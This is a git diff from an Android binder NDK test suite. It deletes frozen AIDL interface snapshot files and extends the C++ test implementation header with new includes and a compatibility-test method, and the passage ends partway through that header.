diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/1/test_package/GenericFoo.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/1/test_package/GenericFoo.aidl
deleted file mode 100644
index 929b6e5..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/1/test_package/GenericFoo.aidl
+++ /dev/null
@@ -1,22 +0,0 @@
-///////////////////////////////////////////////////////////////////////////////
-// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
-///////////////////////////////////////////////////////////////////////////////
-
-// This file is a snapshot of an AIDL interface (or parcelable). Do not try to
-// edit this file. It looks like you are doing that because you have modified
-// an AIDL interface in a backward-incompatible way, e.g., deleting a function
-// from an interface or a field from a parcelable and it broke the build. That
-// breakage is intended.
-//
-// You must not make a backward incompatible changes to the AIDL files built
-// with the aidl_interface module type with versions property set. The module
-// type is used to build AIDL files in a way that they can be used across
-// independently updatable components of the system. If a device is shipped
-// with such a backward incompatible change, it has a high risk of breaking
-// later when a module using the interface is updated, e.g., Mainline modules.
-
-package test_package;
-parcelable GenericFoo<T, U, V> {
-  int a;
-  int b;
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/1/test_package/IEmpty.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/1/test_package/IEmpty.aidl
deleted file mode 100644
index 2baa52c..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/1/test_package/IEmpty.aidl
+++ /dev/null
@@ -1,3 +0,0 @@
-package test_package;
-interface IEmpty {
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/1/test_package/ITest.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/1/test_package/ITest.aidl
deleted file mode 100644
index 238a0e7..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/1/test_package/ITest.aidl
+++ /dev/null
@@ -1,70 +0,0 @@
-package test_package;
-interface ITest {
-  String GetName();
-  void TestVoidReturn();
-  oneway void TestOneway();
-  int GiveMeMyCallingPid();
-  int GiveMeMyCallingUid();
-  oneway void CacheCallingInfoFromOneway();
-  int GiveMeMyCallingPidFromOneway();
-  int GiveMeMyCallingUidFromOneway();
-  int RepeatInt(int value);
-  long RepeatLong(long value);
-  float RepeatFloat(float value);
-  double RepeatDouble(double value);
-  boolean RepeatBoolean(boolean value);
-  char RepeatChar(char value);
-  byte RepeatByte(byte value);
-  test_package.ByteEnum RepeatByteEnum(test_package.ByteEnum value);
-  test_package.IntEnum RepeatIntEnum(test_package.IntEnum value);
-  test_package.LongEnum RepeatLongEnum(test_package.LongEnum value);
-  IBinder RepeatBinder(IBinder value);
-  @nullable IBinder RepeatNullableBinder(@nullable IBinder value);
-  test_package.IEmpty RepeatInterface(test_package.IEmpty value);
-  @nullable test_package.IEmpty RepeatNullableInterface(@nullable test_package.IEmpty value);
-  ParcelFileDescriptor RepeatFd(in ParcelFileDescriptor fd);
-  @nullable ParcelFileDescriptor RepeatNullableFd(in @nullable ParcelFileDescriptor fd);
-  String RepeatString(String value);
-  @nullable String RepeatNullableString(@nullable String value);
-  test_package.RegularPolygon RepeatPolygon(in test_package.RegularPolygon value);
-  @nullable test_package.RegularPolygon RepeatNullablePolygon(in @nullable test_package.RegularPolygon value);
-  void RenamePolygon(inout test_package.RegularPolygon value, String newName);
-  boolean[] RepeatBooleanArray(in boolean[] input, out boolean[] repeated);
-  byte[] RepeatByteArray(in byte[] input, out byte[] repeated);
-  char[] RepeatCharArray(in char[] input, out char[] repeated);
-  int[] RepeatIntArray(in int[] input, out int[] repeated);
-  long[] RepeatLongArray(in long[] input, out long[] repeated);
-  float[] RepeatFloatArray(in float[] input, out float[] repeated);
-  double[] RepeatDoubleArray(in double[] input, out double[] repeated);
-  test_package.ByteEnum[] RepeatByteEnumArray(in test_package.ByteEnum[] input, out test_package.ByteEnum[] repeated);
-  test_package.IntEnum[] RepeatIntEnumArray(in test_package.IntEnum[] input, out test_package.IntEnum[] repeated);
-  test_package.LongEnum[] RepeatLongEnumArray(in test_package.LongEnum[] input, out test_package.LongEnum[] repeated);
-  String[] RepeatStringArray(in String[] input, out String[] repeated);
-  test_package.RegularPolygon[] RepeatRegularPolygonArray(in test_package.RegularPolygon[] input, out test_package.RegularPolygon[] repeated);
-  ParcelFileDescriptor[] RepeatFdArray(in ParcelFileDescriptor[] input, out ParcelFileDescriptor[] repeated);
-  List<String> Repeat2StringList(in List<String> input, out List<String> repeated);
-  List<test_package.RegularPolygon> Repeat2RegularPolygonList(in List<test_package.RegularPolygon> input, out List<test_package.RegularPolygon> repeated);
-  @nullable boolean[] RepeatNullableBooleanArray(in @nullable boolean[] input);
-  @nullable byte[] RepeatNullableByteArray(in @nullable byte[] input);
-  @nullable char[] RepeatNullableCharArray(in @nullable char[] input);
-  @nullable int[] RepeatNullableIntArray(in @nullable int[] input);
-  @nullable long[] RepeatNullableLongArray(in @nullable long[] input);
-  @nullable float[] RepeatNullableFloatArray(in @nullable float[] input);
-  @nullable double[] RepeatNullableDoubleArray(in @nullable double[] input);
-  @nullable test_package.ByteEnum[] RepeatNullableByteEnumArray(in @nullable test_package.ByteEnum[] input);
-  @nullable test_package.IntEnum[] RepeatNullableIntEnumArray(in @nullable test_package.IntEnum[] input);
-  @nullable test_package.LongEnum[] RepeatNullableLongEnumArray(in @nullable test_package.LongEnum[] input);
-  @nullable String[] RepeatNullableStringArray(in @nullable String[] input);
-  @nullable String[] DoubleRepeatNullableStringArray(in @nullable String[] input, out @nullable String[] repeated);
-  test_package.Foo repeatFoo(in test_package.Foo inFoo);
-  void renameFoo(inout test_package.Foo foo, String name);
-  void renameBar(inout test_package.Foo foo, String name);
-  int getF(in test_package.Foo foo);
-  String RepeatStringNullableLater(String repeated);
-  test_package.GenericBar<int> repeatGenericBar(in test_package.GenericBar<int> bar);
-  const int kZero = 0;
-  const int kOne = 1;
-  const int kOnes = -1;
-  const String kEmpty = "";
-  const String kFoo = "foo";
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/1/test_package/IntEnum.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/1/test_package/IntEnum.aidl
deleted file mode 100644
index 15b9891..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/1/test_package/IntEnum.aidl
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package test_package;
-
-@Backing(type="int")
-enum IntEnum {
-    FOO = 1000,
-    BAR = 2000,
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/1/test_package/LongEnum.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/1/test_package/LongEnum.aidl
deleted file mode 100644
index f21ea63..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/1/test_package/LongEnum.aidl
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package test_package;
-
-@Backing(type="long")
-enum LongEnum {
-    FOO = 100000000000,
-    BAR = 200000000000,
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/1/test_package/RegularPolygon.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/1/test_package/RegularPolygon.aidl
deleted file mode 100644
index 14c6c2e..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/1/test_package/RegularPolygon.aidl
+++ /dev/null
@@ -1,6 +0,0 @@
-package test_package;
-parcelable RegularPolygon {
-  String name = "square";
-  int numSides = 4;
-  float sideLength = 1.000000f;
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/current/test_package/Bar.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/current/test_package/Bar.aidl
deleted file mode 100644
index 99ba6b5..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/current/test_package/Bar.aidl
+++ /dev/null
@@ -1,25 +0,0 @@
-///////////////////////////////////////////////////////////////////////////////
-// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
-///////////////////////////////////////////////////////////////////////////////
-
-// This file is a snapshot of an AIDL interface (or parcelable). Do not try to
-// edit this file. It looks like you are doing that because you have modified
-// an AIDL interface in a backward-incompatible way, e.g., deleting a function
-// from an interface or a field from a parcelable and it broke the build. That
-// breakage is intended.
-//
-// You must not make a backward incompatible changes to the AIDL files built
-// with the aidl_interface module type with versions property set. The module
-// type is used to build AIDL files in a way that they can be used across
-// independently updatable components of the system. If a device is shipped
-// with such a backward incompatible change, it has a high risk of breaking
-// later when a module using the interface is updated, e.g., Mainline modules.
-
-package test_package;
-parcelable Bar {
-  String a = "BAR";
-  String b = "BAR2";
-  float c = 4.200000f;
-  int d = 100;
-  String e = "HELLO";
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/current/test_package/ByteEnum.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/current/test_package/ByteEnum.aidl
deleted file mode 100644
index 16c6e1b..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/current/test_package/ByteEnum.aidl
+++ /dev/null
@@ -1,23 +0,0 @@
-///////////////////////////////////////////////////////////////////////////////
-// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
-///////////////////////////////////////////////////////////////////////////////
-
-// This file is a snapshot of an AIDL interface (or parcelable). Do not try to
-// edit this file. It looks like you are doing that because you have modified
-// an AIDL interface in a backward-incompatible way, e.g., deleting a function
-// from an interface or a field from a parcelable and it broke the build. That
-// breakage is intended.
-//
-// You must not make a backward incompatible changes to the AIDL files built
-// with the aidl_interface module type with versions property set. The module
-// type is used to build AIDL files in a way that they can be used across
-// independently updatable components of the system. If a device is shipped
-// with such a backward incompatible change, it has a high risk of breaking
-// later when a module using the interface is updated, e.g., Mainline modules.
-
-package test_package;
-@Backing(type="byte")
-enum ByteEnum {
-  FOO = 1,
-  BAR = 2,
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/current/test_package/FixedSize.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/current/test_package/FixedSize.aidl
deleted file mode 100644
index e7a32f2..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/current/test_package/FixedSize.aidl
+++ /dev/null
@@ -1,23 +0,0 @@
-///////////////////////////////////////////////////////////////////////////////
-// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
-///////////////////////////////////////////////////////////////////////////////
-
-// This file is a snapshot of an AIDL interface (or parcelable). Do not try to
-// edit this file. It looks like you are doing that because you have modified
-// an AIDL interface in a backward-incompatible way, e.g., deleting a function
-// from an interface or a field from a parcelable and it broke the build. That
-// breakage is intended.
-//
-// You must not make a backward incompatible changes to the AIDL files built
-// with the aidl_interface module type with versions property set. The module
-// type is used to build AIDL files in a way that they can be used across
-// independently updatable components of the system. If a device is shipped
-// with such a backward incompatible change, it has a high risk of breaking
-// later when a module using the interface is updated, e.g., Mainline modules.
-
-package test_package;
-@FixedSize
-parcelable FixedSize {
-  int a;
-  test_package.LongEnum b;
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/current/test_package/Foo.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/current/test_package/Foo.aidl
deleted file mode 100644
index 8b71fee..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/current/test_package/Foo.aidl
+++ /dev/null
@@ -1,33 +0,0 @@
-///////////////////////////////////////////////////////////////////////////////
-// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
-///////////////////////////////////////////////////////////////////////////////
-
-// This file is a snapshot of an AIDL interface (or parcelable). Do not try to
-// edit this file. It looks like you are doing that because you have modified
-// an AIDL interface in a backward-incompatible way, e.g., deleting a function
-// from an interface or a field from a parcelable and it broke the build. That
-// breakage is intended.
-//
-// You must not make a backward incompatible changes to the AIDL files built
-// with the aidl_interface module type with versions property set. The module
-// type is used to build AIDL files in a way that they can be used across
-// independently updatable components of the system. If a device is shipped
-// with such a backward incompatible change, it has a high risk of breaking
-// later when a module using the interface is updated, e.g., Mainline modules.
-
-package test_package;
-parcelable Foo {
-  String a = "FOO";
-  int b = 42;
-  float c = 3.140000f;
-  test_package.Bar d;
-  test_package.Bar e;
-  int f = 3;
-  test_package.ByteEnum shouldBeByteBar;
-  test_package.IntEnum shouldBeIntBar;
-  test_package.LongEnum shouldBeLongBar;
-  test_package.ByteEnum[] shouldContainTwoByteFoos;
-  test_package.IntEnum[] shouldContainTwoIntFoos;
-  test_package.LongEnum[] shouldContainTwoLongFoos;
-  @nullable String[] g;
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/current/test_package/GenericBar.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/current/test_package/GenericBar.aidl
deleted file mode 100644
index 1d9103b..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/current/test_package/GenericBar.aidl
+++ /dev/null
@@ -1,22 +0,0 @@
-///////////////////////////////////////////////////////////////////////////////
-// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
-///////////////////////////////////////////////////////////////////////////////
-
-// This file is a snapshot of an AIDL interface (or parcelable). Do not try to
-// edit this file. It looks like you are doing that because you have modified
-// an AIDL interface in a backward-incompatible way, e.g., deleting a function
-// from an interface or a field from a parcelable and it broke the build. That
-// breakage is intended.
-//
-// You must not make a backward incompatible changes to the AIDL files built
-// with the aidl_interface module type with versions property set. The module
-// type is used to build AIDL files in a way that they can be used across
-// independently updatable components of the system. If a device is shipped
-// with such a backward incompatible change, it has a high risk of breaking
-// later when a module using the interface is updated, e.g., Mainline modules.
-
-package test_package;
-parcelable GenericBar {
-  int a;
-  test_package.GenericFoo<int,test_package.Bar,test_package.IntEnum> shouldBeGenericFoo;
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/current/test_package/GenericFoo.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/current/test_package/GenericFoo.aidl
deleted file mode 100644
index 9bc86c1..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/current/test_package/GenericFoo.aidl
+++ /dev/null
@@ -1,22 +0,0 @@
-///////////////////////////////////////////////////////////////////////////////
-// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
-///////////////////////////////////////////////////////////////////////////////
-
-// This file is a snapshot of an AIDL interface (or parcelable). Do not try to
-// edit this file. It looks like you are doing that because you have modified
-// an AIDL interface in a backward-incompatible way, e.g., deleting a function
-// from an interface or a field from a parcelable and it broke the build. That
-// breakage is intended.
-//
-// You must not make a backward incompatible changes to the AIDL files built
-// with the aidl_interface module type with versions property set. The module
-// type is used to build AIDL files in a way that they can be used across
-// independently updatable components of the system. If a device is shipped
-// with such a backward incompatible change, it has a high risk of breaking
-// later when a module using the interface is updated, e.g., Mainline modules.
-
-package test_package;
-parcelable GenericFoo {
-  int a;
-  int b;
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/current/test_package/IEmpty.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/current/test_package/IEmpty.aidl
deleted file mode 100644
index 5a27b19..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/current/test_package/IEmpty.aidl
+++ /dev/null
@@ -1,20 +0,0 @@
-///////////////////////////////////////////////////////////////////////////////
-// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
-///////////////////////////////////////////////////////////////////////////////
-
-// This file is a snapshot of an AIDL interface (or parcelable). Do not try to
-// edit this file. It looks like you are doing that because you have modified
-// an AIDL interface in a backward-incompatible way, e.g., deleting a function
-// from an interface or a field from a parcelable and it broke the build. That
-// breakage is intended.
-//
-// You must not make a backward incompatible changes to the AIDL files built
-// with the aidl_interface module type with versions property set. The module
-// type is used to build AIDL files in a way that they can be used across
-// independently updatable components of the system. If a device is shipped
-// with such a backward incompatible change, it has a high risk of breaking
-// later when a module using the interface is updated, e.g., Mainline modules.
-
-package test_package;
-interface IEmpty {
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/current/test_package/ITest.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/current/test_package/ITest.aidl
deleted file mode 100644
index 1be4dbe..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/current/test_package/ITest.aidl
+++ /dev/null
@@ -1,88 +0,0 @@
-///////////////////////////////////////////////////////////////////////////////
-// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
-///////////////////////////////////////////////////////////////////////////////
-
-// This file is a snapshot of an AIDL interface (or parcelable). Do not try to
-// edit this file. It looks like you are doing that because you have modified
-// an AIDL interface in a backward-incompatible way, e.g., deleting a function
-// from an interface or a field from a parcelable and it broke the build. That
-// breakage is intended.
-//
-// You must not make a backward incompatible changes to the AIDL files built
-// with the aidl_interface module type with versions property set. The module
-// type is used to build AIDL files in a way that they can be used across
-// independently updatable components of the system. If a device is shipped
-// with such a backward incompatible change, it has a high risk of breaking
-// later when a module using the interface is updated, e.g., Mainline modules.
-
-package test_package;
-interface ITest {
-  String GetName();
-  void TestVoidReturn();
-  oneway void TestOneway();
-  int GiveMeMyCallingPid();
-  int GiveMeMyCallingUid();
-  oneway void CacheCallingInfoFromOneway();
-  int GiveMeMyCallingPidFromOneway();
-  int GiveMeMyCallingUidFromOneway();
-  int RepeatInt(int value);
-  long RepeatLong(long value);
-  float RepeatFloat(float value);
-  double RepeatDouble(double value);
-  boolean RepeatBoolean(boolean value);
-  char RepeatChar(char value);
-  byte RepeatByte(byte value);
-  test_package.ByteEnum RepeatByteEnum(test_package.ByteEnum value);
-  test_package.IntEnum RepeatIntEnum(test_package.IntEnum value);
-  test_package.LongEnum RepeatLongEnum(test_package.LongEnum value);
-  IBinder RepeatBinder(IBinder value);
-  @nullable IBinder RepeatNullableBinder(@nullable IBinder value);
-  test_package.IEmpty RepeatInterface(test_package.IEmpty value);
-  @nullable test_package.IEmpty RepeatNullableInterface(@nullable test_package.IEmpty value);
-  ParcelFileDescriptor RepeatFd(in ParcelFileDescriptor fd);
-  @nullable ParcelFileDescriptor RepeatNullableFd(in @nullable ParcelFileDescriptor fd);
-  String RepeatString(String value);
-  @nullable String RepeatNullableString(@nullable String value);
-  test_package.RegularPolygon RepeatPolygon(in test_package.RegularPolygon value);
-  @nullable test_package.RegularPolygon RepeatNullablePolygon(in @nullable test_package.RegularPolygon value);
-  void RenamePolygon(inout test_package.RegularPolygon value, String newName);
-  boolean[] RepeatBooleanArray(in boolean[] input, out boolean[] repeated);
-  byte[] RepeatByteArray(in byte[] input, out byte[] repeated);
-  char[] RepeatCharArray(in char[] input, out char[] repeated);
-  int[] RepeatIntArray(in int[] input, out int[] repeated);
-  long[] RepeatLongArray(in long[] input, out long[] repeated);
-  float[] RepeatFloatArray(in float[] input, out float[] repeated);
-  double[] RepeatDoubleArray(in double[] input, out double[] repeated);
-  test_package.ByteEnum[] RepeatByteEnumArray(in test_package.ByteEnum[] input, out test_package.ByteEnum[] repeated);
-  test_package.IntEnum[] RepeatIntEnumArray(in test_package.IntEnum[] input, out test_package.IntEnum[] repeated);
-  test_package.LongEnum[] RepeatLongEnumArray(in test_package.LongEnum[] input, out test_package.LongEnum[] repeated);
-  String[] RepeatStringArray(in String[] input, out String[] repeated);
-  test_package.RegularPolygon[] RepeatRegularPolygonArray(in test_package.RegularPolygon[] input, out test_package.RegularPolygon[] repeated);
-  ParcelFileDescriptor[] RepeatFdArray(in ParcelFileDescriptor[] input, out ParcelFileDescriptor[] repeated);
-  List<String> Repeat2StringList(in List<String> input, out List<String> repeated);
-  List<test_package.RegularPolygon> Repeat2RegularPolygonList(in List<test_package.RegularPolygon> input, out List<test_package.RegularPolygon> repeated);
-  @nullable boolean[] RepeatNullableBooleanArray(in @nullable boolean[] input);
-  @nullable byte[] RepeatNullableByteArray(in @nullable byte[] input);
-  @nullable char[] RepeatNullableCharArray(in @nullable char[] input);
-  @nullable int[] RepeatNullableIntArray(in @nullable int[] input);
-  @nullable long[] RepeatNullableLongArray(in @nullable long[] input);
-  @nullable float[] RepeatNullableFloatArray(in @nullable float[] input);
-  @nullable double[] RepeatNullableDoubleArray(in @nullable double[] input);
-  @nullable test_package.ByteEnum[] RepeatNullableByteEnumArray(in @nullable test_package.ByteEnum[] input);
-  @nullable test_package.IntEnum[] RepeatNullableIntEnumArray(in @nullable test_package.IntEnum[] input);
-  @nullable test_package.LongEnum[] RepeatNullableLongEnumArray(in @nullable test_package.LongEnum[] input);
-  @nullable String[] RepeatNullableStringArray(in @nullable String[] input);
-  @nullable String[] DoubleRepeatNullableStringArray(in @nullable String[] input, out @nullable String[] repeated);
-  test_package.Foo repeatFoo(in test_package.Foo inFoo);
-  void renameFoo(inout test_package.Foo foo, String name);
-  void renameBar(inout test_package.Foo foo, String name);
-  int getF(in test_package.Foo foo);
-  @nullable String RepeatStringNullableLater(@nullable String repeated);
-  test_package.GenericBar<int> repeatGenericBar(in test_package.GenericBar<int> bar);
-  int NewMethodThatReturns10();
-  const int kZero = 0;
-  const int kOne = 1;
-  const int kOnes = -1;
-  const String kEmpty = "";
-  const String kFoo = "foo";
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/current/test_package/IntEnum.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/current/test_package/IntEnum.aidl
deleted file mode 100644
index f889ec4..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/current/test_package/IntEnum.aidl
+++ /dev/null
@@ -1,23 +0,0 @@
-///////////////////////////////////////////////////////////////////////////////
-// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
-///////////////////////////////////////////////////////////////////////////////
-
-// This file is a snapshot of an AIDL interface (or parcelable). Do not try to
-// edit this file. It looks like you are doing that because you have modified
-// an AIDL interface in a backward-incompatible way, e.g., deleting a function
-// from an interface or a field from a parcelable and it broke the build. That
-// breakage is intended.
-//
-// You must not make a backward incompatible changes to the AIDL files built
-// with the aidl_interface module type with versions property set. The module
-// type is used to build AIDL files in a way that they can be used across
-// independently updatable components of the system. If a device is shipped
-// with such a backward incompatible change, it has a high risk of breaking
-// later when a module using the interface is updated, e.g., Mainline modules.
-
-package test_package;
-@Backing(type="int")
-enum IntEnum {
-  FOO = 1000,
-  BAR = 2000,
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/current/test_package/LongEnum.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/current/test_package/LongEnum.aidl
deleted file mode 100644
index b03c85c..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/current/test_package/LongEnum.aidl
+++ /dev/null
@@ -1,23 +0,0 @@
-///////////////////////////////////////////////////////////////////////////////
-// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
-///////////////////////////////////////////////////////////////////////////////
-
-// This file is a snapshot of an AIDL interface (or parcelable). Do not try to
-// edit this file. It looks like you are doing that because you have modified
-// an AIDL interface in a backward-incompatible way, e.g., deleting a function
-// from an interface or a field from a parcelable and it broke the build. That
-// breakage is intended.
-//
-// You must not make a backward incompatible changes to the AIDL files built
-// with the aidl_interface module type with versions property set. The module
-// type is used to build AIDL files in a way that they can be used across
-// independently updatable components of the system. If a device is shipped
-// with such a backward incompatible change, it has a high risk of breaking
-// later when a module using the interface is updated, e.g., Mainline modules.
-
-package test_package;
-@Backing(type="long")
-enum LongEnum {
-  FOO = 100000000000,
-  BAR = 200000000000,
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/current/test_package/RegularPolygon.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/current/test_package/RegularPolygon.aidl
deleted file mode 100644
index 8fdd8c84b..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/current/test_package/RegularPolygon.aidl
+++ /dev/null
@@ -1,23 +0,0 @@
-///////////////////////////////////////////////////////////////////////////////
-// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
-///////////////////////////////////////////////////////////////////////////////
-
-// This file is a snapshot of an AIDL interface (or parcelable). Do not try to
-// edit this file. It looks like you are doing that because you have modified
-// an AIDL interface in a backward-incompatible way, e.g., deleting a function
-// from an interface or a field from a parcelable and it broke the build. That
-// breakage is intended.
-//
-// You must not make a backward incompatible changes to the AIDL files built
-// with the aidl_interface module type with versions property set. The module
-// type is used to build AIDL files in a way that they can be used across
-// independently updatable components of the system. If a device is shipped
-// with such a backward incompatible change, it has a high risk of breaking
-// later when a module using the interface is updated, e.g., Mainline modules.
-
-package test_package;
-parcelable RegularPolygon {
-  String name = "square";
-  int numSides = 4;
-  float sideLength = 1.000000f;
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h b/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h
index d597913..ae7e435 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h
@@ -14,22 +14,29 @@
  * limitations under the License.
  */
 
+#include <aidl/test_package/BnCompatTest.h>
 #include <aidl/test_package/BnTest.h>
-
+#include <aidl/test_package/MyExt.h>
+#include <aidl/test_package/SimpleUnion.h>
 #include <stdio.h>
 #include <unistd.h>
+
 #include <condition_variable>
 #include <mutex>
 
 #include "utilities.h"
 
-using Bar = ::aidl::test_package::Bar;
-using ByteEnum = ::aidl::test_package::ByteEnum;
-using Foo = ::aidl::test_package::Foo;
-using IEmpty = ::aidl::test_package::IEmpty;
-using IntEnum = ::aidl::test_package::IntEnum;
-using LongEnum = ::aidl::test_package::LongEnum;
-using RegularPolygon = ::aidl::test_package::RegularPolygon;
+using ::aidl::test_package::Bar;
+using ::aidl::test_package::Baz;
+using ::aidl::test_package::ByteEnum;
+using ::aidl::test_package::ExtendableParcelable;
+using ::aidl::test_package::Foo;
+using ::aidl::test_package::IEmpty;
+using ::aidl::test_package::IntEnum;
+using ::aidl::test_package::LongEnum;
+using ::aidl::test_package::MyExt;
+using ::aidl::test_package::RegularPolygon;
+using ::aidl::test_package::SimpleUnion;
 
 class MyTest : public ::aidl::test_package::BnTest,
                public ThisShouldBeDestroyed {
@@ -410,28 +417,67 @@
     return ::ndk::ScopedAStatus(AStatus_newOk());
   }
 
+  ::ndk::ScopedAStatus getICompatTest(::ndk::SpAIBinder* _aidl_return) {
+    class MyCompatTest : public ::aidl::test_package::BnCompatTest {
+     public:
+      ::ndk::ScopedAStatus repeatBaz(const ::aidl::test_package::Baz& in_inBaz,
+                                     ::aidl::test_package::Baz* _aidl_return) override {
+        *_aidl_return = in_inBaz;
+        return ::ndk::ScopedAStatus(AStatus_newOk());
+      }
+
 #ifdef USING_VERSION_1
